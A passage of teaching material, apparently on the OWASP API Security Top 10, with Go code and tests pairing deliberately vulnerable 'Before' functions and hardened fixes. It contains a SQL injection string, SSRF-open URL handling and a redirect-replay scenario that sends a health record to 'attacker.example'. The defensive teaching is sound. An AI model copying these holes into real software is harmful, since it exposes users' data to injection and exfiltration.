Now func() time.Time
}
// Guard enforces Policy: rate limits per user and per resource, a device
// cap, and two cheap non-human pattern checks. It keeps counters in memory;
// a cluster keeps them in Redis (see the rate-limiting chapter).
type Guard struct {
p Policy
shop *Shop
mu sync.Mutex
byUser map[string]int
byDevice map[string]int
skuHits map[string][]time.Time
}
// NewGuard wraps a shop with a flow policy.
func NewGuard(s *Shop, p Policy) *Guard {
if p.Now == nil {
p.Now = time.Now
}
return &Guard{p: p, shop: s, byUser: map[string]int{}, byDevice: map[string]int{}, skuHits: map[string][]time.Time{}}
}
// Checkout applies the policy, then the stock rule.
func (g *Guard) Checkout(r Request) error {
now := g.p.Now()
if r.Qty < 1 || r.Qty > g.p.MaxPerUser {
return ErrQuantity // a negative quantity would add stock and dodge the caps
}
if g.p.RequireDevice && r.DeviceID == "" {
return ErrSuspicious
}
for _, bad := range g.p.BlockedAgents {
if strings.Contains(r.UserAgent, bad) {
return ErrSuspicious
}
}
if now.Sub(r.CartAddedAt) < g.p.MinHumanDelay {
return ErrSuspicious
}
g.mu.Lock()
defer g.mu.Unlock()
uk := r.SKU + "|u|" + strconv.FormatInt(r.UserID, 10)
dk := r.SKU + "|d|" + r.DeviceID
if g.byUser[uk]+r.Qty > g.p.MaxPerUser || g.byDevice[dk]+r.Qty > g.p.MaxPerDevice {
return ErrLimit
}
hits := g.skuHits[r.SKU][:0]
for _, t := range g.skuHits[r.SKU] {
if now.Sub(t) < g.p.Window {
hits = append(hits, t)
}
}
if len(hits) >= g.p.MaxPerSKURate {
g.skuHits[r.SKU] = hits
return ErrLimit
}
if err := g.shop.take(r.SKU, r.Qty); err != nil {
return err
}
g.skuHits[r.SKU] = append(hits, now)
g.byUser[uk] += r.Qty
g.byDevice[dk] += r.Qty
return nil
}package flows
import (
"errors"
"strconv"
"sync"
"testing"
"time"
)
const sku = "console-x"
func TestBeforeOneScriptBuysTheDrop(t *testing.T) {
s := NewShop(map[string]int{sku: 100})
var wg sync.WaitGroup
for i := 0; i < 100; i++ {
wg.Add(1)
go func() { defer wg.Done(); _ = CheckoutBefore(s, 666, sku, 1) }()
}
wg.Wait()
if s.Stock(sku) != 0 {
t.Fatalf("expected the bot to buy everything, %d left", s.Stock(sku))
}
}
func policy(now time.Time) Policy {
return Policy{MaxPerUser: 2, MaxPerDevice: 2, MaxPerSKURate: 50, Window: time.Second,
MinHumanDelay: time.Second, BlockedAgents: []string{"HeadlessChrome"}, RequireDevice: true,
Now: func() time.Time { return now }}
}
func TestAfterPerUserAndPerDeviceLimits(t *testing.T) {
now := time.Date(2026, 11, 27, 9, 0, 0, 0, time.UTC)
s := NewShop(map[string]int{sku: 100})
g := NewGuard(s, policy(now))
human := Request{UserID: 666, DeviceID: "dev-a", UserAgent: "Mozilla/5.0", CartAddedAt: now.Add(-20 * time.Second), SKU: sku, Qty: 1}
var ok, limited int
for i := 0; i < 100; i++ {
switch err := g.Checkout(human); {
case err == nil:
ok++
case errors.Is(err, ErrLimit):
limited++
default:
t.Fatal(err)
}
}
if ok != 2 || limited != 98 || s.Stock(sku) != 98 {
t.Fatalf("per-user cap: ok=%d limited=%d stock=%d", ok, limited, s.Stock(sku))
}
// A second account on the same device gets nothing more.
other := human
other.UserID = 667
if err := g.Checkout(other); !errors.Is(err, ErrLimit) {
t.Fatalf("per-device cap: want ErrLimit, got %v", err)
}
}
func TestAfterNonHumanSignals(t *testing.T) {
now := time.Date(2026, 11, 27, 9, 0, 0, 0, time.UTC)
g := NewGuard(NewShop(map[string]int{sku: 10}), policy(now))
base := Request{UserID: 1, DeviceID: "dev-b", UserAgent: "Mozilla/5.0", CartAddedAt: now.Add(-5 * time.Second), SKU: sku, Qty: 1}
fast := base
fast.CartAddedAt = now.Add(-300 * time.Millisecond)
headless := base
headless.UserAgent = "Mozilla/5.0 HeadlessChrome/120.0"
noDevice := base
noDevice.DeviceID = ""
for name, r := range map[string]Request{"fast": fast, "headless": headless, "no device": noDevice} {
if err := g.Checkout(r); !errors.Is(err, ErrSuspicious) {
t.Fatalf("%s: want ErrSuspicious, got %v", name, err)
}
}
for _, q := range []int{0, -5, 3} {
bad := base
bad.Qty = q
if err := g.Checkout(bad); !errors.Is(err, ErrQuantity) {
t.Fatalf("qty %d: want ErrQuantity, got %v", q, err)
}
}
if err := g.Checkout(base); err != nil {
t.Fatalf("a human-looking request must pass: %v", err)
}
}
func TestAfterPerResourceRate(t *testing.T) {
now := time.Date(2026, 11, 27, 9, 0, 0, 0, time.UTC)
p := policy(now)
p.MaxPerSKURate = 3
g := NewGuard(NewShop(map[string]int{sku: 100}), p)
var ok int
for u := int64(1); u <= 10; u++ {
r := Request{UserID: u, DeviceID: "dev-" + strconv.FormatInt(u, 10), UserAgent: "Mozilla/5.0", CartAddedAt: now.Add(-time.Minute), SKU: sku, Qty: 1}
if g.Checkout(r) == nil {
ok++
}
}
if ok != 3 {
t.Fatalf("per-SKU rate: want 3 checkouts in the window, got %d", ok)
}
}API9 Inventory: نصب هرچه در کد هست در برابر نصب فقط آنچه سند OpenAPI اعلام میکند. مسیر سایه شروع را ناموفق میکند؛ نسخهٔ کنارگذاشتهشده Deprecation، Sunset و لینک جانشین میگیرد و سپس ۴۱۰:
{
"openapi": "3.1.0",
"info": { "title": "Shop API", "version": "2.3.0" },
"paths": {
"/v2/users/{id}": {
"parameters": [
{ "name": "id", "in": "path", "required": true, "schema": { "type": "integer", "format": "int64" } }
],
"get": { "operationId": "getUserV2", "x-owner": "team-accounts", "x-audience": "public" }
},
"/v1/users/{id}": {
"parameters": [
{ "name": "id", "in": "path", "required": true, "schema": { "type": "integer", "format": "int64" } }
],
"get": {
"operationId": "getUserV1",
"deprecated": true,
"x-owner": "team-accounts",
"x-audience": "public",
"x-deprecated-at": "2026-06-30T23:59:59Z",
"x-sunset": "2026-12-31T23:59:59Z",
"x-successor": "/v2/users/{id}"
}
}
}
}// Package inventory shows API9:2023 Improper Inventory Management: routes
// that exist in the binary but in no inventory (shadow APIs), and old
// versions nobody retired (zombie APIs).
package inventory
import "net/http"
// MountBefore mounts whatever handlers the code base happens to contain.
// /v1 still runs (without the rate limit that v2 got), and a debug endpoint
// added for an incident never left.
func MountBefore(mux *http.ServeMux, handlers map[string]http.Handler) {
for pattern, h := range handlers {
mux.Handle(pattern, h)
}
}package inventory
import (
_ "embed"
"encoding/json"
"fmt"
"net/http"
"regexp"
"slices"
"sort"
"strings"
"time"
)
//go:embed openapi.json
var specJSON []byte
// Parameter is the part of an OpenAPI Parameter Object the loader checks.
type Parameter struct {
Name string `json:"name"`
In string `json:"in"`
Required bool `json:"required"`
}
// Operation is the part of an OpenAPI 3.1 Operation Object the inventory
// needs, plus x- extensions for ownership and lifecycle.
type Operation struct {
OperationID string `json:"operationId"`
Deprecated bool `json:"deprecated"`
Parameters []Parameter `json:"parameters"`
Owner string `json:"x-owner"`
Audience string `json:"x-audience"`
DeprecatedAt string `json:"x-deprecated-at"`
Sunset string `json:"x-sunset"`
Successor string `json:"x-successor"`
}
// Spec is a minimal OpenAPI document: paths -> method -> operation, plus the
// path-level parameters shared by every operation of a path.
type Spec struct {
Paths map[string]map[string]Operation
PathParams map[string][]Parameter
}
var methods = map[string]bool{"get": true, "put": true, "post": true, "delete": true, "options": true, "head": true, "patch": true, "trace": true}
var templateRe = regexp.MustCompile(`\{([^{}]+)\}`)
// Parse decodes an OpenAPI document and validates it: every template
// expression in a path must have a required "in: path" parameter, declared
// on the Path Item or on the operation (OpenAPI 3.1, Path Templating).
func Parse(doc []byte) (Spec, error) {
var raw struct {
Paths map[string]map[string]json.RawMessage `json:"paths"`
}
if err := json.Unmarshal(doc, &raw); err != nil {
return Spec{}, err
}
s := Spec{Paths: map[string]map[string]Operation{}, PathParams: map[string][]Parameter{}}
for path, item := range raw.Paths {
s.Paths[path] = map[string]Operation{}
for key, val := range item {
switch {
case key == "parameters":
var ps []Parameter
if err := json.Unmarshal(val, &ps); err != nil {
return Spec{}, fmt.Errorf("inventory: %s parameters: %w", path, err)
}
s.PathParams[path] = ps
case methods[key]:
var op Operation
if err := json.Unmarshal(val, &op); err != nil {
return Spec{}, fmt.Errorf("inventory: %s %s: %w", key, path, err)
}
s.Paths[path][key] = op
}
}
}
for path, ops := range s.Paths {
for method, op := range ops {
for _, m := range templateRe.FindAllStringSubmatch(path, -1) {
if !hasPathParam(effectiveParams(s.PathParams[path], op.Parameters), m[1]) {
return Spec{}, fmt.Errorf("inventory: %s %s: template {%s} has no required path parameter", strings.ToUpper(method), path, m[1])
}
}
}
}
return s, nil
}
// effectiveParams applies the OpenAPI rule: an operation-level parameter
// overrides a path-level one with the same name and location ("in").
func effectiveParams(pathLevel, opLevel []Parameter) []Parameter {
out := slices.Clone(opLevel)
for _, p := range pathLevel {
overridden := slices.ContainsFunc(opLevel, func(o Parameter) bool { return o.Name == p.Name && o.In == p.In })
if !overridden {
out = append(out, p)
}
}
return out
}
func hasPathParam(ps []Parameter, name string) bool {
for _, p := range ps {
if p.Name == name && p.In == "path" && p.Required {
return true
}
}
return false
}
// Load parses and validates the embedded OpenAPI document, the single source
// of truth.
func Load() (Spec, error) { return Parse(specJSON) }
// Patterns returns "METHOD /path" for every operation in the spec.
func (s Spec) Patterns() []string {
var out []string
for path, ops := range s.Paths {
for method := range ops {
out = append(out, strings.ToUpper(method)+" "+path)
}
}
sort.Strings(out)
return out
}
func (s Spec) op(pattern string) (Operation, bool) {
method, path, _ := strings.Cut(pattern, " ")
op, ok := s.Paths[path][strings.ToLower(method)]
return op, ok
}
// Diff compares the spec with the handlers in the binary. Shadow: code
// without an inventory entry. Missing: an entry without code.
func Diff(s Spec, handlers map[string]http.Handler) (shadow, missing []string) {
declared := s.Patterns()
for p := range handlers {
if !slices.Contains(declared, p) {
shadow = append(shadow, p)
}
}
for _, p := range declared {
if _, ok := handlers[p]; !ok {
missing = append(missing, p)
}
}
sort.Strings(shadow)
sort.Strings(missing)
return shadow, missing
}
// Mount refuses to start when code and inventory disagree, and wraps
// deprecated operations with lifecycle headers: Deprecation (RFC 9745),
// Sunset (RFC 8594), a successor Link, and 410 Gone after the sunset date.
func Mount(mux *http.ServeMux, s Spec, handlers map[string]http.Handler, now func() time.Time) error {
if shadow, missing := Diff(s, handlers); len(shadow)+len(missing) > 0 {
return fmt.Errorf("inventory: shadow=%v missing=%v", shadow, missing)
}
for pattern, h := range handlers {
op, _ := s.op(pattern)
if op.Owner == "" {
return fmt.Errorf("inventory: %s has no x-owner", pattern)
}
if op.Deprecated {
wrapped, err := lifecycle(op, h, now)
if err != nil {
return fmt.Errorf("inventory: %s: %w", pattern, err)
}
h = wrapped
}
mux.Handle(pattern, h)
}
return nil
}
func lifecycle(op Operation, next http.Handler, now func() time.Time) (http.Handler, error) {
dep, err := time.Parse(time.RFC3339, op.DeprecatedAt)
if err != nil {
return nil, fmt.Errorf("x-deprecated-at: %w", err)
}
sunset, err := time.Parse(time.RFC3339, op.Sunset)
if err != nil {
return nil, fmt.Errorf("x-sunset: %w", err)
}
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
h := w.Header()
h.Set("Deprecation", fmt.Sprintf("@%d", dep.Unix()))
h.Set("Sunset", sunset.UTC().Format(http.TimeFormat))
if op.Successor != "" {
h.Set("Link", fmt.Sprintf("<%s>; rel=\"successor-version\"", op.Successor))
}
if !now().Before(sunset) {
http.Error(w, "this API version has been retired", http.StatusGone)
return
}
next.ServeHTTP(w, r)
}), nil
}package inventory
import (
"io"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
)
func h(name string) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { _, _ = io.WriteString(w, name) })
}
func codeAndHeaders(mux http.Handler, path string) (int, http.Header) {
rec := httptest.NewRecorder()
mux.ServeHTTP(rec, httptest.NewRequest(http.MethodGet, path, nil))
return rec.Code, rec.Header()
}
func TestBeforeShadowAndZombieAreLive(t *testing.T) {
mux := http.NewServeMux()
MountBefore(mux, map[string]http.Handler{
"GET /v2/users/{id}": h("v2"), "GET /v1/users/{id}": h("v1"), "GET /debug/vars": h("secrets"),
})
for _, p := range []string{"/v1/users/1", "/debug/vars"} {
if code, hdr := codeAndHeaders(mux, p); code != http.StatusOK || hdr.Get("Deprecation") != "" {
t.Fatalf("expected %s to be silently reachable in the vulnerable setup, got %d", p, code)
}
}
}
func TestAfterShadowRouteBlocksStartup(t *testing.T) {
spec, err := Load()
if err != nil {
t.Fatal(err)
}
err = Mount(http.NewServeMux(), spec, map[string]http.Handler{
"GET /v2/users/{id}": h("v2"), "GET /v1/users/{id}": h("v1"), "GET /debug/vars": h("secrets"),
}, time.Now)
if err == nil || !strings.Contains(err.Error(), "shadow=[GET /debug/vars]") {
t.Fatalf("want a shadow-route error, got %v", err)
}
}
func TestAfterDeprecationThenSunset(t *testing.T) {
spec, err := Load()
if err != nil {
t.Fatal(err)
}
clock := time.Date(2026, 11, 29, 12, 0, 0, 0, time.UTC)
mux := http.NewServeMux()
handlers := map[string]http.Handler{"GET /v2/users/{id}": h("v2"), "GET /v1/users/{id}": h("v1")}
if err := Mount(mux, spec, handlers, func() time.Time { return clock }); err != nil {
t.Fatal(err)
}
code, hdr := codeAndHeaders(mux, "/v1/users/1")
if code != http.StatusOK || hdr.Get("Deprecation") != "@1782863999" || hdr.Get("Sunset") != "Thu, 31 Dec 2026 23:59:59 GMT" {
t.Fatalf("deprecated version: %d %v", code, hdr)
}
if !strings.Contains(hdr.Get("Link"), `rel="successor-version"`) {
t.Fatalf("missing successor link: %v", hdr)
}
if code, hdr := codeAndHeaders(mux, "/v2/users/1"); code != http.StatusOK || hdr.Get("Deprecation") != "" {
t.Fatalf("current version must carry no lifecycle headers: %d %v", code, hdr)
}
clock = time.Date(2027, 1, 1, 0, 0, 0, 0, time.UTC)
if code, _ := codeAndHeaders(mux, "/v1/users/1"); code != http.StatusGone {
t.Fatalf("after sunset want 410, got %d", code)
}
}
func TestSpecRequiresPathParameters(t *testing.T) {
if _, err := Load(); err != nil {
t.Fatalf("embedded spec must validate: %v", err)
}
bad := []byte(`{"openapi":"3.1.0","paths":{"/v2/orders/{id}":{"get":{"x-owner":"team-orders"}}}}`)
if _, err := Parse(bad); err == nil || !strings.Contains(err.Error(), "template {id}") {
t.Fatalf("a template without a path parameter must be rejected, got %v", err)
}
ok := []byte(`{"openapi":"3.1.0","paths":{"/v2/orders/{id}":{"get":{"x-owner":"o","parameters":[{"name":"id","in":"path","required":true}]}}}}`)
if _, err := Parse(ok); err != nil {
t.Fatalf("an operation-level parameter must count: %v", err)
}
}
func TestOperationParameterOverridesPathLevel(t *testing.T) {
// Path level says required; the operation overrides id/path with
// required=false, so the template is not satisfied.
doc := []byte(`{"openapi":"3.1.0","paths":{"/v2/orders/{id}":{
"parameters":[{"name":"id","in":"path","required":true}],
"get":{"x-owner":"o","parameters":[{"name":"id","in":"path","required":false}]}}}}`)
if _, err := Parse(doc); err == nil || !strings.Contains(err.Error(), "template {id}") {
t.Fatalf("an operation-level override must win over the path level, got %v", err)
}
// A same-name parameter in another location does not override.
doc = []byte(`{"openapi":"3.1.0","paths":{"/v2/orders/{id}":{
"parameters":[{"name":"id","in":"path","required":true}],
"get":{"x-owner":"o","parameters":[{"name":"id","in":"query","required":false}]}}}}`)
if _, err := Parse(doc); err != nil {
t.Fatalf("a query parameter named id must not override the path one: %v", err)
}
}API10 Unsafe Consumption: کلاینت پیشفرض که در 308 بدنهٔ POST را برای مهاجم بازپخش و متن بالادستی را در SQL الحاق میکند؛ در برابر کلاینت با TLS و فهرست مجاز میزبان در گام اول و هر redirect، timeout، سقف بدنه، اعتبارسنجی فیلد و پارامتر bindشده:
// Package consume shows API10:2023 Unsafe Consumption of APIs: the API
// treats a third-party response as trusted, so a compromised or malicious
// upstream can redirect sensitive data, inject into SQL, or exhaust memory.
package consume
import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
)
// Business is what the enrichment provider returns for an address.
type Business struct {
Name string `json:"name"`
City string `json:"city"`
Country string `json:"country"`
}
// EnrichBefore uses http.DefaultClient (no timeout, follows up to 10
// redirects), reads the whole body, and builds SQL from the upstream value.
func EnrichBefore(url string) (query string, err error) {
resp, err := http.Get(url)
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body) // unbounded
if err != nil {
return "", err
}
var b Business
if err := json.Unmarshal(body, &b); err != nil {
return "", err
}
// "It comes from our provider, so it is clean."
return fmt.Sprintf("INSERT INTO businesses (name, city) VALUES ('%s', '%s')", b.Name, b.City), nil
}
// StoreRecordBefore posts sensitive data to a partner. net/http replays the
// body on 307/308, so a compromised partner answering
// "308 Location: https://attacker.example/" receives the same payload.
func StoreRecordBefore(client *http.Client, url string, record []byte) error {
resp, err := client.Post(url, "application/json", bytes.NewReader(record))
if err != nil {
return err
}
return resp.Body.Close()
}package consume
import (
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"io"
"net/http"
"net/url"
"regexp"
"time"
"unicode/utf8"
)
// Errors returned by the hardened client.
var (
ErrUpstream = errors.New("consume: upstream response rejected")
ErrRedirect = errors.New("consume: redirect to a host that is not allow-listed")
)
// Client wraps one integration with its own trust rules.
type Client struct {
HTTP *http.Client
MaxBytes int64
allowed map[string]bool
}
// ErrEndpoint is returned when the first hop itself is not https or not on
// the allow-list (CheckRedirect only sees the hops after it).
var ErrEndpoint = errors.New("consume: endpoint is not https on an allow-listed host")
func (c *Client) checkEndpoint(endpoint string) error {
u, err := url.Parse(endpoint)
if err != nil || u.Scheme != "https" || !c.allowed[u.Host] {
return fmt.Errorf("%w: %q", ErrEndpoint, endpoint)
}
return nil
}
// NewClient returns a client that only talks TLS to allow-listed hosts (first
// hop checked by checkEndpoint, later hops by CheckRedirect),
// gives up after timeout, and never follows a redirect off the allow-list.
// base is used for the transport (tests pass an httptest TLS client).
func NewClient(base *http.Client, allowedHosts []string, timeout time.Duration) *Client {
allowed := make(map[string]bool, len(allowedHosts))
for _, h := range allowedHosts {
allowed[h] = true
}
c := &http.Client{
Transport: base.Transport,
Timeout: timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 3 || req.URL.Scheme != "https" || !allowed[req.URL.Host] {
return fmt.Errorf("%w: %s", ErrRedirect, req.URL.Host)
}
return nil
},
}
return &Client{HTTP: c, MaxBytes: 64 << 10, allowed: allowed}
}
// StoreRecord posts to the partner; a redirect off the allow-list fails the
// call before the body is sent anywhere else.
func (c *Client) StoreRecord(ctx context.Context, endpoint string, record []byte) error {
if err := c.checkEndpoint(endpoint); err != nil {
return err
}
req, err := http.NewRequestWithContext(ctx, http.MethodPost, endpoint, bytes.NewReader(record))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
resp, err := c.HTTP.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode/100 != 2 {
return fmt.Errorf("%w: status %d", ErrUpstream, resp.StatusCode)
}
return nil
}
var cityRe = regexp.MustCompile(`^[\p{L} .'-]{1,80}$`)
var countryRe = regexp.MustCompile(`^[A-Z]{2}$`)
// Validate is input validation of upstream responses: the same rules as for
// user input, because the provider is just another untrusted source.
func (b Business) Validate() error {
switch {
case !utf8.ValidString(b.Name) || len(b.Name) == 0 || len(b.Name) > 200:
return fmt.Errorf("%w: name", ErrUpstream)
case !cityRe.MatchString(b.City):
return fmt.Errorf("%w: city", ErrUpstream)
case !countryRe.MatchString(b.Country):
return fmt.Errorf("%w: country", ErrUpstream)
}
return nil
}
// Enrich fetches, caps the body, checks status and content type, decodes,
// validates, and returns a parameterised statement: the upstream value is a
// bound argument, never SQL text.
func (c *Client) Enrich(ctx context.Context, endpoint string) (query string, args []any, err error) {
if err := c.checkEndpoint(endpoint); err != nil {
return "", nil, err
}
req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil)
if err != nil {
return "", nil, err
}
resp, err := c.HTTP.Do(req)
if err != nil {
return "", nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK || resp.Header.Get("Content-Type") != "application/json" {
return "", nil, fmt.Errorf("%w: status %d, type %q", ErrUpstream, resp.StatusCode, resp.Header.Get("Content-Type"))
}
body, err := io.ReadAll(io.LimitReader(resp.Body, c.MaxBytes+1))
if err != nil {
return "", nil, err
}
if int64(len(body)) > c.MaxBytes {
return "", nil, fmt.Errorf("%w: body larger than %d bytes", ErrUpstream, c.MaxBytes)
}
var b Business
if err := json.Unmarshal(body, &b); err != nil {
return "", nil, fmt.Errorf("%w: %v", ErrUpstream, err)
}
if err := b.Validate(); err != nil {
return "", nil, err
}
return "INSERT INTO businesses (name, city, country) VALUES ($1, $2, $3)", []any{b.Name, b.City, b.Country}, nil
}package consume
import (
"context"
"errors"
"io"
"net/http"
"net/http/httptest"
"net/url"
"strings"
"sync/atomic"
"testing"
"time"
)
const record = `{"genome":"ACTAGTAG"}`
// attacker counts how many bytes of sensitive data reached it.
func attacker(t *testing.T, tls bool) (*httptest.Server, *atomic.Int64) {
t.Helper()
var got atomic.Int64
h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
b, _ := io.ReadAll(r.Body)
got.Add(int64(len(b)))
})
var s *httptest.Server
if tls {
s = httptest.NewTLSServer(h)
} else {
s = httptest.NewServer(h)
}
t.Cleanup(s.Close)
return s, &got
}
// compromisedPartner answers every request with 308 to the attacker.
func compromisedPartner(t *testing.T, tls bool, to string) *httptest.Server {
t.Helper()
h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
_, _ = io.Copy(io.Discard, r.Body)
http.Redirect(w, r, to, http.StatusPermanentRedirect)
})
var s *httptest.Server
if tls {
s = httptest.NewTLSServer(h)
} else {
s = httptest.NewServer(h)
}
t.Cleanup(s.Close)
return s
}
func host(s *httptest.Server) string { u, _ := url.Parse(s.URL); return u.Host }
func TestBeforeFollowsRedirectWithBody(t *testing.T) {
evil, got := attacker(t, false)
partner := compromisedPartner(t, false, evil.URL+"/steal")
if err := StoreRecordBefore(http.DefaultClient, partner.URL+"/store_phr_record", []byte(record)); err != nil {
t.Fatal(err)
}
if got.Load() != int64(len(record)) {
t.Fatalf("expected the record to be replayed to the attacker, got %d bytes", got.Load())
}
}
func TestBeforeTrustsUpstreamIntoSQL(t *testing.T) {
up := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
_, _ = io.WriteString(w, `{"name":"x'); DROP TABLE businesses;--","city":"Delft","country":"NL"}`)
}))
defer up.Close()
q, err := EnrichBefore(up.URL)
if err != nil || !strings.Contains(q, "DROP TABLE businesses") {
t.Fatalf("expected injected SQL text in the vulnerable query, got %q %v", q, err)
}
}
func TestAfterRefusesRedirectOffAllowList(t *testing.T) {
evil, got := attacker(t, true)
partner := compromisedPartner(t, true, evil.URL+"/steal")
c := NewClient(partner.Client(), []string{host(partner)}, 2*time.Second)
err := c.StoreRecord(context.Background(), partner.URL+"/store_phr_record", []byte(record))
if !errors.Is(err, ErrRedirect) || got.Load() != 0 {
t.Fatalf("want ErrRedirect and nothing at the attacker; err=%v bytes=%d", err, got.Load())
}
}
func TestAfterValidatesAndBinds(t *testing.T) {
var body atomic.Value
up := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
_, _ = io.WriteString(w, body.Load().(string))
}))
defer up.Close()
c := NewClient(up.Client(), []string{host(up)}, 2*time.Second)
body.Store(`{"name":"x'); DROP TABLE businesses;--","city":"Delft","country":"NL"}`)
q, args, err := c.Enrich(context.Background(), up.URL)
if err != nil || strings.Contains(q, "DROP") || args[0] != "x'); DROP TABLE businesses;--" {
t.Fatalf("upstream text must travel as a bound argument: %q %v %v", q, args, err)
}
body.Store(`{"name":"Acme","city":"<script>","country":"NL"}`)
if _, _, err := c.Enrich(context.Background(), up.URL); !errors.Is(err, ErrUpstream) {
t.Fatalf("invalid city must be rejected, got %v", err)
}
body.Store(`{"name":"` + strings.Repeat("A", 70<<10) + `","city":"Delft","country":"NL"}`)
if _, _, err := c.Enrich(context.Background(), up.URL); !errors.Is(err, ErrUpstream) {
t.Fatalf("oversized body must be rejected, got %v", err)
}
}
func TestAfterRefusesFirstHopOffAllowList(t *testing.T) {
evil, got := attacker(t, true)
plain, gotPlain := attacker(t, false)
c := NewClient(evil.Client(), []string{"geo-partner.example"}, 2*time.Second)
for _, endpoint := range []string{evil.URL + "/store", "http://" + host(plain) + "/store"} {
if err := c.StoreRecord(context.Background(), endpoint, []byte(record)); !errors.Is(err, ErrEndpoint) {
t.Fatalf("%s: want ErrEndpoint, got %v", endpoint, err)
}
if _, _, err := c.Enrich(context.Background(), endpoint); !errors.Is(err, ErrEndpoint) {
t.Fatalf("%s: want ErrEndpoint from Enrich, got %v", endpoint, err)
}
}
if got.Load()+gotPlain.Load() != 0 {
t.Fatal("nothing may be sent to a host that is not allow-listed")
}
}
func TestAfterTimeout(t *testing.T) {
release := make(chan struct{})
slow := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
select {
case <-release:
case <-r.Context().Done():
}
}))
defer slow.Close()
defer close(release)
c := NewClient(slow.Client(), []string{host(slow)}, 100*time.Millisecond)
start := time.Now()
if _, _, err := c.Enrich(context.Background(), slow.URL); err == nil || time.Since(start) > 2*time.Second {
t.Fatalf("want a timeout error quickly, got %v after %v", err, time.Since(start))
}
}چهار جفت کوتاه؛ هرکدام یک فایل همراه تست: Re-authentication API2، سقف صفحه و batch در API4، فهرست مجاز URL در API7، و problem details و CORS دقیق در API8:
// Package authn is the API2:2023 Broken Authentication pair kept short:
// a sensitive change (the account e-mail) accepted on a bearer token alone,
// versus one that demands a recent re-authentication. Password hashing, MFA
// and sessions are taught in the authentication chapter.
package authn
import (
"crypto/subtle"
"errors"
"time"
)
// Session is what the server knows about the current login.
type Session struct {
UserID int64
AuthAt time.Time // last time the user proved a credential
}
// Account is the stored user.
type Account struct {
ID int64
Email string
}
// ErrReauth means "ask for the password (or a passkey/MFA) again".
var ErrReauth = errors.New("authn: re-authentication required")
// ChangeEmailBefore trusts the token: whoever stole it can redirect the
// account's e-mail and then run "forgot password" to take the account.
func ChangeEmailBefore(a *Account, s Session, newEmail string) error {
a.Email = newEmail
return nil
}
// Verifier checks a credential; production code compares an Argon2id or
// bcrypt hash, here a constant-time compare stands in.
type Verifier func(userID int64, password string) bool
// StaticVerifier is a test double.
func StaticVerifier(want string) Verifier {
return func(_ int64, got string) bool { return subtle.ConstantTimeCompare([]byte(got), []byte(want)) == 1 }
}
// ChangeEmail requires the current password, or a login within maxAge.
func ChangeEmail(a *Account, s Session, newEmail, currentPassword string, verify Verifier, now time.Time, maxAge time.Duration) error {
recent := now.Sub(s.AuthAt) <= maxAge
if !recent && (currentPassword == "" || !verify(s.UserID, currentPassword)) {
return ErrReauth
}
a.Email = newEmail
return nil
}// Package resource is the API4:2023 Unrestricted Resource Consumption pair
// kept short: a list endpoint that honours any page size and any body size,
// versus one with server-side caps. Rate-limit algorithms are taught in the
// rate-limiting chapter.
package resource
import (
"encoding/json"
"errors"
"net/http"
"strconv"
)
// Limits are the per-request ceilings.
const (
DefaultPage = 20
MaxPage = 100
MaxBody = 32 << 10 // 32 KiB
MaxBatch = 25 // items per batch request
)
// PageSizeBefore trusts ?limit=: limit=10000000 makes the database and the
// encoder do ten million rows of work for one request.
func PageSizeBefore(r *http.Request) int {
n, _ := strconv.Atoi(r.URL.Query().Get("limit"))
return n
}
// PageSize clamps the requested size to [1, MaxPage].
func PageSize(r *http.Request) int {
n, err := strconv.Atoi(r.URL.Query().Get("limit"))
switch {
case err != nil || n <= 0:
return DefaultPage
case n > MaxPage:
return MaxPage
}
return n
}
// ErrTooMany is returned when a batch exceeds MaxBatch.
var ErrTooMany = errors.New("resource: too many operations in one request")
// DecodeBatch caps the body bytes and the number of operations, the two
// knobs GraphQL batching and bulk endpoints abuse.
func DecodeBatch(w http.ResponseWriter, r *http.Request) ([]json.RawMessage, error) {
var ops []json.RawMessage
if err := json.NewDecoder(http.MaxBytesReader(w, r.Body, MaxBody)).Decode(&ops); err != nil {
return nil, err
}
if len(ops) > MaxBatch {
return nil, ErrTooMany
}
return ops, nil
}// Package ssrf is the API7:2023 Server Side Request Forgery pair kept short:
// the URL check only. The connect-time IP check that stops DNS rebinding
// (net.Dialer.Control) is in the OWASP Top 10 chapter's ssrf package.
package ssrf
import (
"errors"
"net/netip"
"net/url"
"strings"
)
// ErrNotAllowed is returned for any URL outside the allow-list.
var ErrNotAllowed = errors.New("ssrf: destination not allowed")
// CheckBefore accepts anything that parses: localhost:8080, file:///,
// http://169.254.169.254/ and internal service names all pass.
func CheckBefore(raw string) (*url.URL, error) {
return url.Parse(raw)
}
// Check allows https on port 443 to an allow-listed host only, and refuses
// IP literals and userinfo outright.
func Check(raw string, allowedHosts map[string]bool) (*url.URL, error) {
u, err := url.Parse(raw)
if err != nil || u.Scheme != "https" || u.User != nil || u.Opaque != "" {
return nil, ErrNotAllowed
}
host := strings.ToLower(u.Hostname())
if _, err := netip.ParseAddr(host); err == nil {
return nil, ErrNotAllowed
}
if p := u.Port(); p != "" && p != "443" {
return nil, ErrNotAllowed
}
if !allowedHosts[host] {
return nil, ErrNotAllowed
}
return u, nil
}// Package misconfig is the API8:2023 Security Misconfiguration pair kept
// short: verbose errors and a reflect-any-origin CORS policy, versus RFC 9457
// problem details with a correlation id and an exact origin allow-list.
// Headers, debug mode and hardening are taught in the OWASP Top 10 chapter.
package misconfig
import (
"crypto/rand"
"encoding/hex"
"encoding/json"
"log/slog"
"net/http"
)
// ErrorBefore sends the internal error to the client: SQL text, file paths
// and driver versions help the attacker map the stack.
